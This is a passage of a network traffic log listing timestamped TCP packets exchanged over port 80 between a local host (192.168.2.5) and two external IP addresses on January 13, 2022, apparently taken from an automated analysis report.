Jan 13, 2022 20:51:33.879348040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879360914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879364014 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879385948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879385948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879403114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879404068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879422903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879440069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879451990 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879456043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879472971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879489899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879503012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879504919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879522085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879539013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879539967 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879554033 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879564047 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879573107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879580975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879590988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879607916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879616976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879625082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879641056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879657030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879659891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879677057 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879679918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879698038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879714012 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879729986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879734039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879745960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879750013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879762888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879781008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879785061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879796982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879813910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879828930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879842043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879846096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879863024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879878044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879879951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879894018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879904985 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879911900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879925966 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879928112 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879945993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879955053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.879961967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879978895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879993916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.879993916 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880009890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880019903 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880026102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880043983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880059958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880072117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880074978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880093098 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880109072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880116940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880125999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880136013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880142927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880153894 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880158901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880176067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880186081 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880192041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880208969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880223989 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880230904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880239964 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880253077 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880258083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880275011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880290985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880301952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880306959 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880323887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880335093 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880340099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880352974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880357027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880374908 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880386114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880390882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880408049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880419970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880424023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880440950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880445957 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880458117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880475044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880490065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880506039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880508900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880522013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880537987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880547047 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880553961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880572081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880588055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880599022 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880604982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880621910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880637884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880641937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880655050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880667925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880671024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880686998 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880695105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880703926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880712032 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880722046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880739927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880748987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880755901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880772114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880785942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880788088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880805016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880820990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880836010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880836964 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880853891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880870104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880872965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880887032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880898952 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880903006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880916119 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880922079 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880937099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880947113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880953074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880970955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.880984068 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.880986929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881014109 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881016016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881032944 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881048918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881063938 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881064892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881081104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881093025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881098032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881114960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881123066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881131887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881148100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881164074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881167889 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881181002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881198883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881201982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881215096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881232977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881242037 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881251097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881268024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881275892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881284952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881302118 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881302118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881319046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881336927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881350994 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881355047 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881376982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881386995 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881392956 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881412983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881427050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881428957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881445885 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881462097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881462097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881479025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881489992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881494999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881510019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881513119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881531000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881541967 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881546974 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881565094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881580114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881581068 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881597996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881607056 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881616116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881632090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881648064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881650925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881663084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881679058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881695986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881701946 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881714106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881721973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881731987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881748915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881759882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881766081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881783009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881783962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881800890 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881805897 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.881819010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.881839991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.882707119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882765055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.882824898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882842064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882857084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882873058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882890940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882890940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.882908106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882915974 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.882925987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882942915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882951975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.882960081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882976055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882992983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.882998943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883009911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883028030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883032084 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883044958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883057117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883060932 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883080006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883089066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883097887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883114100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883120060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883130074 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883146048 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883161068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883172035 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883177996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883194923 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883208036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883212090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883224010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883228064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883244991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883255959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883260965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883277893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883289099 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883294106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883311987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883311987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883327007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883343935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883361101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883361101 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883378029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.883390903 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.883431911 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.910808086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.910846949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.910864115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.910881996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.910898924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.910973072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.911003113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.911056995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911077023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911093950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911107063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.911111116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911139965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.911370039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911390066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911406994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911420107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.911437988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.911447048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.914670944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914700031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914715052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914731026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914742947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914752007 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.914757967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914763927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.914774895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.914809942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.914824963 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.918899059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.918946028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.918962955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.918979883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.918997049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919013023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919029951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919045925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919063091 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919080973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919089079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919097900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919111013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919115067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919116020 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919121027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919130087 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919132948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919150114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919166088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919189930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919194937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919203997 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919212103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919229031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919245005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919259071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919275045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919290066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919313908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919321060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919325113 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919326067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919343948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919358969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919375896 CET	80	49847	141.8.194.74	192.168.2.5
